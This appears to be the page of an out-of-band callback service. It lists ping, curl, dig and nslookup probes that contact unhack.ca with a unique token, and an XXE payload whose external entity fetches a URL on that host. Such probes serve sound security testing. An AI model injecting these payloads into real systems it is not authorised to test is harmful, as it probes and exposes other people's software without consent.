$ ping -c1 -p 001f878fd61d856642ea9ed2e59f4200 unhack.ca
 
$ curl http://unhack.ca/p/1f878fd61d856642ea9ed2e59f42
 
$ dig 1f878fd61d856642ea9ed2e59f42 @unhack.ca
 
$ dig 1f878fd61d856642ea9ed2e59f42.ns.unhack.ca
 
C:\> nslookup 1f878fd61d856642ea9ed2e59f42 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1f878fd61d856642ea9ed2e59f42">]>
    <foo>&xxe;</foo>
Waiting for ping...